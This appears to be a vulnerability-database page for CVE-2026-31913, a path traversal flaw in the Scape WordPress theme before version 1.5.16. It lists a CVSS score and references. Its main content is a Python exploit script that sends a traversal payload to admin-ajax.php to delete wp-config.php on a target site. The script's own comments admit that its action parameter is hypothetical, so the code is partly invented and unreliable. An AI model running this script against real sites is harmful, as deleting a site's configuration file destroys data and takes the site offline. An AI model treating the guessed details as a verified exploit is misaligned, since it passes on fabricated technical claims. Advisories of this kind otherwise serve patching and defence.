CVE-2026-31913

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Whitebox-Studio Scape scape allows Path Traversal.This issue affects Scape: from n/a through < 1.5.16.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Whitebox-Studio Scape < 1.5.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    """
    PoC for CVE-2026-31913: Path Traversal leading to Arbitrary File Deletion.
    Target: Whitebox-Studio Scape WordPress Theme < 1.5.16
    """
    # The vulnerable endpoint might be admin-ajax.php, common in plugin/theme vulns
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload aiming to delete wp-config.php using path traversal
    # Note: The specific action parameter 'scape_delete_file' is hypothetical based on the vulnerability nature
    payload = {
        'action': 'scape_delete_file', 
        'file': '../../../wp-config.php' 
    }
    
    try:
        response = requests.post(url, data=payload, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent to {url}")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Failed to send request. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31913
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31913
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31913/
[4] VulDB https://vuldb.com/cve/CVE-2026-31913
[5] https://patchstack.com/database/Wordpress/Theme/scape/vulnerability/wordpress-scape-theme-1-5-16-arbitrary-file-deletion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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